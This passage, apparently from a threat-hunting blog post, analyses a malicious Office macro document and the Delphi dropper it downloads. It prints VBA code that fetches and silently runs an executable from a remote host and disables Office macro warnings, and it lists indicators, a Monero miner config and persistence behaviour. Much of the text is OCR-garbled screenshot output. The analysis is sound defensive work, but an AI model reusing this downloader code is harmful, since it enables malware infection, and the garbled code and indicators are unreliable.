"006E7123" w:rsidRPr="004B5990"><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:top="1134" w:right="850" w:bottom="1134"
w:left="1701" w:header="T708" w:footer="T708" w:gutter="0"/><w:cols w:space="T08"/><w:docGrid inePitch="360"/>
</w:gectPr></wibody></w:document>

extensible Markup Language file length:2.572 lines:2 Ln:1 Col:1 Sel:0|0 Windows (CRLF)  UTF-8 INS
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The last example that caught my attention was the file “TEMMUZ MAAS.xlsm.”
When I analyzed the macro file inside the document using the oletools tool, I
discovered that it downloads a file named “client.exe” from the web address
http://xfl[.]Imooo.com and then saves it as “cachel.exe” in the TEMP folder
before executing it. The content of the “TEMMUZ MAAS.xlsm” file appeared to
be realistic enough not to raise suspicion. When I searched for files
associated with http://xfl[.]mooo.com both on VirusTotal and through
retrohunt, I found numerous unrelated files. Some files were specific
instruction files created for a particular organization, while others were
user manuals for a product. It started to puzzle me whether there were
individuals who managed to access these organization-specific files and
inject macros into them, or if malicious actors were diligently creating such
realistically macro-laden documents.
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SHA256: 18ch1aa0daf3fch75f3c2f5598fde5d01a094028d7dc1822a6b2152727774bdc
File name: =?UTF-8?Q?TEMMUZ_MAA=C5=9E=2Exism?=

=
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Avira (no cloud) HEUR/Macro.Downloader 20180817
AVware LooksLike Macro Downloader.a (v) 20180817
CAT-QuickHeal 097M Dropper.R 20180817
Endgame malicious (high confidence) 20180730
F-Secure Trejan:W97M/MaliciousMacro. GEN 20180817
Fortinet WM/Agent B7B21tr 20180817
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NANO-Antivirus Trejan.Ole2 Vbs-heuristic. druvzi 20180817
Qihoo-360 virus office qexvmc. 1070 20180817
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Symantec ISB Downloaderlgen60 20180817
TACHYON Suspicious/X0OX Obfus Gen 20180817
Tencent Heur.MSWord.Downloader.d 20180817
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May create OLE objects.

May enumerate open windows.
May open a file

May write to a file.

©  May read system environment variables.
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Shell “cmd.exe /c " + THP, vbHide B
End If

End Sub

Sub FDM()
Dim URL, TMP As String
URL = “http://xfl.mooo. com"
MR = Environ("Temp") & “\n$cachel.exe”

Set WinHttpReg = CreateObject(“WinHttp.WinHTtpRequest.5.1")
If WinttpReq Ts Nothing Then

Set WinHttpReq - CreateObject("WinHttp.WinHttpRequest.s")
End If

WinHttpReq.Option(e) = "Mozilla/4.@ (compatible; MSIE 7.8; lindows NT 6.8)"

WinHttpReq.Option(6) = AllowRedirects

WinHttpReq.Option(12) = True

WinHttpReq.Open "GET", URL, False

0On Error Resume Next

WinHttpReq. Send -
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Private Sub App_DocumentOpen{Bylal Doc As Documentl i Sign in (Q'_Share
fipplication.-Displayflerts = False

Closing = False

ActiveDocument.Content.Font.Hidden = False

RegKeySave "HHKCU-SoftwaresMicrosoft Office~" & Application.Version & "“Excel-3
ecuritys\UBAWarnings", 1. "REG_DWORD"

RegKeyS8ave "HKCU-Software“Microsoft Office~" & Application.Version & "“Word-Se
curitysUBAlWarnings",. 1, "REG_DWORD'

Call MPS i x
End Sub - 0 @
Private Sub App_DocumentBeforeSave(Bylal Doc As Document. BavefislI fAis Boolean,. C Type Size -
ancel As Boolean) l

If Closing Then e folder

ActiveDocument .Content .Font .Hidden = True File folder
File folder
File folder
Private Sub App_DocumentBeforeClose(ByUal Doc As Document, Cancel As Boolean? A E

Closing = True 0 KB
EodiSub Compiled Python ... 1KB
Sub RegKeySave(i_RegKey As String., i_Ualue fAs String, Optional i_Type fs String <oft Word M 11 478 KB
= “REG_SZ'> bt kb
Dim myllS As Object crosoft i D... 13 KB

Set myWE = CreateObject('"WScript.Shell") =

mylls _Reglrite i_RegHey. i _Value. i_Type Text Document 5 KB
End Sub . . n

VB File 6 KB
Sub MPS(> 3 KB

Dim F8: Set F§ = CreateObject(“scripting.filesystemobject") .

TMP = Environ("Temp'? & '"4cachel.exe" 13 KB

If Not FS8.FileExists(TMP> Then 4 KB

Call FDU il
If F8.FileExists(TMP> Then KB
On Error Resume Next = 58 KB
Shell "cmd.exe sc " + TMPF,. vbHide b
End If Text Document 3KB

Else .

On Error Resume Next Python File 15 KB
Shell "cmd.exe ~c " + THP, uvbHide _ X S n
Python File 17 KB
Python File 15 KB ik
URL, THP As String
= "http:/sxf1l.mooo.comn”
= Environ{"Temp"? & "~"Scachel.exe"
Set WinHttpReq = CreateObject<"WinHttp.WinHttpRequest.5.1">
If WinHttpReq Is MNothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRegquest.5">
End If 5
== 4 B B - 1 + 5100
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MS Word
Office Open XML 2019-01-03 37169 vbaProject.bin
2018-09-26 21161 F.26 GIRDI URUN KONTROL FORMU.docm Document
Document
MS Word
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When I conducted a search specifically for the web address
http://xfl[.]Imooo.com and the associated resolved IP addresses, I came across
the “srim2” file that was downloaded from one of the IP addresses. I
downloaded the file and opened it using the 7-Zip tool, and upon examining


https://www.virustotal.com/#/file/6062e0f7f45f6042c186032c27be177d18ca046cbce75d2022bfb1444f7ed665/detection

the “config.json” file, it became apparent that

mining Monero digital currency.
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"background™: true,
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"nicehash™: false,
"keepalive™: true,
"wvariant™: -1,
"t1s™: false,
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"print—-time™: &0,
"retries™: &0,
"retry-pause™: 10,
"szafe": false,
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After deciding to take a brief look at the “client.exe” file, I began
analyzing it using IDA Pro and Interactive Delphi Reconstructor tools. Here
are the noteworthy findings:

’

1. After executing “cachel.exe,” it copies itself to the path


https://www.hex-rays.com/products/ida/index.shtml
https://github.com/crypto2011/IDR

C:\Users\admin\AppData\Local\Google Chrome Helper\chromehelper.exe.

. It communicates with the following URLs: http://xredini[.]mooo.com ,
http://140[.182.59.108/config, and http://45[.]176.3.86/min.

. Decoding hidden strings with the help of IDAPython revealed the addresses
xred[.]mooo.com , xredini[.]mooo.com, and xfl[.]mooo.com among the character
strings.

. It is capable of creating a scheduled task to create a Google Chrome Helper
Update entry.

. After finding files with the extensions .xls, .xlsx, .doc, .docx, it copies
their contents to an Office file with a macro extension (e.g., docm, xlsm)
created in the S%TEMP% folder, replacing the original files with copies of the
original files but with the names of the original files. (For example, it
deletes the “Mert.docx” file on the desktop and creates “Mert.docm” in its
place, copying the content of “Mert.docx” into it.)

. It locates and modifies all executable files (exe) on the system, replacing
them with the modified files. Upon execution, it runs both the original file
and the malicious Office files (opened in the %TEMP% folder) in the Resource

Directory section.

. When searching for the character string “ABvgjdfL+hpQCgCT42Vd06m4GD” in
VirusTotal, I came across numerous samples infected with this malware.
These findings provide valuable insights into the behavior and capabilities
of the analyzed “client.exe” file.
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C:hUzersvMerthDeskiop\client. exe 32
Library function [l Regular function [l Instruction Data L] Cleth]
3 2
[F]Functions window O & X maview-s 3 | (O] ke Borland Delphi v6.0 - v7.0 Compiler <2 Exports
>
x 2
Function name * Nada Detected g
IE GetFullPathNameA T )
= . Possible
f | GetIconInfo i
[7] GetkeyhameTexta Contact: flls Er
7 Geersoo
Fl == Detect
!; boardLayout File scanned in .01 Seq. " M-B -
f | GetKeyboardLayoutlist
? GetKeyboardState
5 W=
I_i GetKeyboardType
| | GetLastActivePopup
| f| GetLastError
I; EEIESEEAI sub_45743C proc near
|f] GetLocalTime push s
!; GetlocaleInfoA push B
| 7| GetLocaleInfoA_0 mav esi, edx
| 7| GetLongPathNameA mov ebx, eax
[¥] GetMenn X mov ecx, esi
4 [y 3 mav dx, 925h
mov eax, ebx
call sub_457@83C
%, Graph overview O &8 x pop esi
pop ebx
retn
sub_45743C endp
100.00% (-334,-135) (781,366) 0005683C 0045743C: sub 45743C (Synchronized with Hex View-1)
E Output window O & x
451784: 85-81-2019 18:15:39 decompiling (@)... A

451B68: 85-81-2019 18:15:39 decompiling (1;usedcpu @@:8@:8@) int _ usercall@<eax>(int al@<eax>, int a2@<edx:) .
85-81-2019 18:15:39 The application has been completely decompiled. &
Caching 'Functions window'... ok

Al:_idle Down Disk: 12GB



earch View Debugger Lumina _Options Windows Help

e S Ve @O et e X b @O O s - %) B B
Jl_illlm::}

Library function [l Reguiar function [l Instruction [ Data [ Unexplored | External symbol [l Lumina function

[ Debug View 8 [A Structures B.LE Enums. 8
IDA View £IP O & X | i General registers 0o & x
- 3
CoDE:0047DE6C dec  ecx £AX 00180294 s
CODE :0047DEGD jnz short loc_47DE68| E£6X 00000000 xg g E
Eox: W oe
FEE] E£517EFDDGOG 4 RE @
|cODE:0047DE6F push  eex £010618F3DC 4 ~|r_e -
|CODE:0047DE76 mov  eax, offset dword 470656
|cone :0047DE75 call  sub_467208 (6] Modules O & x
|CODE:0047DE7A xor  eax, eax i s p—
|cODE :6047DE7C push  ebp
|CODE :047DE7D push  offset loc_47DFS0 CA\Users\Mert\Desktopclient.exe 00400000 000800
|CODE:6047DE82 push  dword ptr Ts:[eax] ; uExitCode CAWindows\SysWOWSH\ dwmapi.dil 6CED0000 000130¢
lcoDE:0047DE8S mov  fs:[eax], esp =R S O - B o -
|CODE :0047DE8S 1ea eax, [ebpvar_1C] < I ]
|cODE :6047DE8B call  sub_s7DA14
|CODE:0047DE90 mov  eax, [ebp+var_1c]
|CODE :6047DE93 1ea edx, [ebp+var 18] (@] Threads O & x
|coDE:0047DE96 call  sub_sesFac
|CODE:6047DE9B mov  eax, [ebptvar_15] Decimal sl Hoc State Mome
|CODE :8047DEE lea edx, [ebptvar_14] 2364 93C Ready dlient.exe
|coDE :0047DEAT call  sub_ses1dC
|CODE:6047DEAG mov  edx, [ebp+var_14]
|copE:6047DEA9 mov  eax, offset dword 48216C
100.008 (-265,401) (712,356) 00075260 0047D2E0: staxt (Symchromized with ZIE)
[E] HexView-1 0 &8 x || stakview 0 & x
@647DE20 Be O 46 G0 74 OE 46 00 13 A3 46 00 G A2 46 0@ °ZF.TZF..EF.agr. + ee1an2ac Stack[0008093C] 00180208 =
B47DE30 A8 D7 47 00 78 D7 47 00 50 A3 46 0O 5 A3 46 0O “XG.3MG.€EF.PEF. [ 09180280 66470700 start:loc_87DF30 @
@647DE40 8 D6 47 08 85 D6 47 60 EO D7 47 €0 BO D7 47 00 E xG.

©0160264 018D2E4 Stack[008B093C] :0B1ED2EL
00180285 00000000
0018026C 00000900

60160200 000E0900

601802C4 60203248 debugd4s:60203243

@047DESe 50 D9 47 00 04 DO 47 00 00 00 00 ©O 25 DB 47 00
o@470E60 [ 88 EC B9 05 00 6@ 00 6A 00 GA 80 49 75 FO 51
@047DE70 B8 50 DB 47 @0 ES 8E 93 F8 FF 33 (B 55 68 90 DF
©0047DE30 47 BB 64 FF 30 64 89 20 8D 45 E4 EB 34 FB FF FF 6.

00070260 0047DEG0: start ~ UNKNOWN 0018D2AC: Stack[0000083C1-0018D2AC (Synchrenized with ESP) -
Output window D& x
Encoded String: qNReLsPCFj6BKsF Decoded String: config.jsen &

Encoded String: apdo/COto2xh,
Encoded String: BRSVROCYIC Decoded String: HIGHEST
Encoded String: Gtj7TTHAMA Decoded String: ONLOGON
F1uFmin/6HPLP¥n Decoded String: LOCALSERVICE

RStvg6 Decoded String:

&

RStvHqE Decoded String: SOFTWARE\Microsoftii fon\Run

@

s p
Encoded String: sFUGMXBCJE Decoded String: explorer
Encoded String: apdo/COt3Zah i gBRSOTRStVqE Decoded String: SOFTHARE\Microsoft\indows\CurrentVersion\Run

Encoded String: xn1j7Totbgalclmb Decoded String: xred-mooo. com

Encoded String: xN1j7PWHHTUL2K3Ari370A Decoded String: xredini.mooo.com

xdkUvBodTXKEXaQD Decoded String: xfL.m0oo.com

QRELi ebBuHIODADVIGC Decoded String: chromehelper.exe

Encoded String: MIjr/ckil/ExHUMBLYMsuzD Decoded String: Excel.Application

Encoded String: £6q/7+BFgGYFFUBKYROUIC Decoded String: Word.Application

Encoded String: ZVLGDyrfcuzS6INCebX1pCKeC Decoded String: Program Files (x86)

Encoded String: ZVLGDYrftcuzS69NKC Decoded String: Program Files @
ed String: kciksVenteIG15dfIsEs5103 Decoded String: --max-cpu-usage=58 -

USP, -1);  RunTo(imp_2nd_addr) ); code ._SUSP, -1); decstr = ) print “Encoded String: %s Decoded String: %s” % (encstr, decstr) SetRegValue(jmp_endaddr, EIP)  time.sleep(1) # Main functions find_boundaryQ find_encstr() startQ
Down Disk: 10GB
C——
u®v| ) v Mert » AppData » Local » Temp 3 -
- E a2 -
Organize = El Open - Share with + Print MNew folder
A Eavorites Name Date modified Type Size
M Desktop @_ﬁ t#9Ff.docm 21.01.2019 20:57 Microsoft Word M... 26 KB
& Downloads [ ~Scachel.exe 21.01.2019 20:57 Application 11 KB
‘lE.' Recent Places || {D450B6A4-09D7-4DA9-B2DA-93CBOF4F...  21.01.2019 20:56 DAT File 0 KB
|| 6gwOsN.ico 13.01.2019 22:28 Icon 0 KB
4 Libraries € 6gwOsN.exe 13.01.2019 22:28 Application 39,682 KB
@ i { Y
Documents || XhqRQy.ico 13012019228 f g 19Ft.docm Properties |
o Music € XhgRQy.exe 13.01.2019 22:28
[ Pictures (] I¥IRa6.ico 13012019 2228 || | General | Fie Hashes | Securiy | Detais | Previous Versions|
B Videos € IVIRab.exe 13.01.2019 22:28
Property Value &
| EFXEi6.ico 13.01.2019 21:42 ey
- ; Description
M Computer € EFXEiB.exe 13.01.2019 21:42 Tl
X e
& Local Disk (C) c Pwebk3.exe 13.01.2019 21:42 Subject
[] PweSk3.ico 13.01.2019 21:42 o =
€ Network || G3Higb.ico 13.01.2019 21:42 Categories
(3 G3High.exe 13.01.2019 21:42 Comments
|| {EBB9T1A3-A4A3-4ABF-ABS0-69C2B48AC.., 13.01.2019 21:39 Qrigin
€ zGwHqQ.ere 13012019 21:31
[ ] z6wHqQiico 13.01.2019 21:31 Lastsavedby  WinServer
€ TZFVCjexe 13.01.2019 21:31 Ao
1 Version number
el 12N Caco iR AT Program name  Microsoft Office Word
€ UKt .exe 13.01.2019 21:31 G
|| uKf9th.ico 13.01.2019 21:31 Manager
€ 4FefvB.exe 13.01.2019 21:30 Content created  31.03.2018 00:13
[ Cdxaxml 13.01.201917:07 Date last saved  19.05.2018 01:16
| AdobeARM.Iog 13.01.201912:45 Lo=waned,
Total editing time  22:23:00 2
. AdobeARM_Motlocked.log 05.01.2019 21:31
£ dd veredist amd64_20190105212054 log ~ 05.01.2019 21:30 Remove Propetties and Personial Information
=] au-descriptor-1.8.0_191-b12.xml 05.01.2019 21:19 7
[ jusched.log 05.01.2019 21:19 (oK J[ Gancel ]| sepy
|| dd_veredist_amdG4_20190105211043.log 050712019 21111 e —
| dd_veredist_amd64_20190105211103.log 05.01.2019 21:11 Text Document 14 KB




L v Mert » AppData » Local » Temp »

Organize * Open Share with + New folder
S Favorites MName Date modified Type Size
B Deskiop @ t9Ff.docm 21.01.2019 20:57 Microsoft Word M... 26 KB
& Downloads [ ~Scachel.exe 21.01.2019 20:57 Application 11 KB
4 Recent Places || {D450B6A4-09D7-4DAS-B2DA-03CBOR4F...  21.01.2019 20:56 DAT File 0KB
| bgwOsM.ice 13.01.2019 22:28 Icon 0KB
) Libraries € 65gwOsM.exe 13.01.2019 22:28 Application 39.682 KB
Documents || ¥hqRQy.ico 13.01.2019 22:28 Icon 0 KB
Music XhqRQy. JEROF ¢
< @ xnqRQy.exe ' CFF Explorer VI - [6gwOsN.exe] -
[E5] Pictures | I¥IRa6.ico 13.01.4 —
File Setti &
H Videos € IVIRab.exe 12013 e nE
(] EFXE.ico Bod| & E’- @ 6gwOsN.exe
18 Computer ¢ EFXEib.exe 13014 - Resource Directory
ﬁ Local Disk (C3) c PweSka.exe 13014 =] Eﬁle: BogwOsN exe [=l-Resource Directory Entry 1, ID: 2, AKA: Bitmaps
L (3 Dos Header Resource Directory
| PweSk3.ico 13.014 & M Heoders esource Directory Entry 2, ID: 3, AKA: Icons
€ Network || G3Higb.ico 13.014 3 Fie Header { E-Resource Directory
£ [=-Resource Directory Entry 3, ID: 10, AKA: RCData
€ G3Higb.exe 13.01 [ Optional Header
z, i 5 [=l-Resource Directory
|7 {E86971A3-A4A3-4ABF-AB50-69C2B4EAC... 13.01d) 2] Data Directories ]
@ GuHaQee vod|[— [Elbsmnn Headers [ Resource Directory Entry 2, Name:
[ 26whaQ 10d 5= Import Directory Resource Directory Entry 3, Name: KD
s 14| — (& Resource Directory Resource Directory Entry 4, Name: TK
€ TZVGexe 13013/ — [ Relocation Directory Resource Directory Entry 5, Name: TMAINFORM
| ] TZfVCjico 13004l — EDTLS Directory Resource Directory Entry 6, Name: VR
c UK. exe ol — ‘!!,Adrias Converter Res.uurce Directory Entry 7, Mame: WO
i | — A, Dependency Walker —-Resource Directory Entry 4, ID: 14, AKA: Icon Groups
|| uKfthiico 13.01.4 . Hex Editor [=)-Resource Directory
@ dFefi.ene 130048 , Identifier =+ Resource Directary Entry 1, Name: MAINICON
=] CdXaxml 13004  Import Adder - Resource Directory
, Quick Dizassembler [=-Resource Directory Entry 5, ID: 16, AKA: Version Info
] AdobeARM.log 13‘011 | . Rebuilder Resource Directory
| AdobeARM_Notlocked.log 0s.0148 | %R Editor
|| dd_veredist_amd64_20190105212954.log 050148 L— %UPX Ukility
2] au-descriptor-1.8.0_191-b12.20ml 05.01. 4
B jusched.log oso1dl Member Offset Size Value
| dd_veredist_amd64_20190105211043.log 03014 Mame 000822A8 Dword 80000302
|| dd_veredist_amd&4_20190105211103.log 05.01.4% OffsetToData 000822AC 80000100
A emendice e €A IAOAIAEIIIAES Lam AE A1
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X 3
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e G LT ot sadio i e
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1ac40e003f967b1 7766130 b4chBe3abad18619b9287 14470 120a364f18744c
T24 YANGIN TALIMATI.docm )
0 an wim mee  pesmemee e
-09-26 06:46:32 las submitters
createfle crealeole  enumwindows  emvion exepatem  macros  openfle | runfle  uripatem  uritedfie




E content:{4142766 0514 5664413660344744) - ﬂ A HI MeSARICA n

ST ow
U oS5 il 2018-05-24 00:37:43 last seex 1 submters EXE
I Q VT Search e @
ABvgjdfL+hpQCgCT42vdO
1 7884991 277eb58TcT24 =
@ VT Clustering O veestoime 6m4GD _— S 2018-05-24 01:58:27 st seen A
- = - 2018-05-24 02:01:36 Iast seer
eexe
& v =i
b5b1 13f8e9647ca 24a6batTefcd1d5abSH _
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In conclusion, by conducting threat hunting on VirusTotal, your organization
can become aware of planned cyber attacks and social engineering attempts
targeting your institution. Additionally, it allows your analysts to analyze
the samples identified during threat hunting, helping them develop expertise
in malware analysis.

Hope to see you in the following articles.



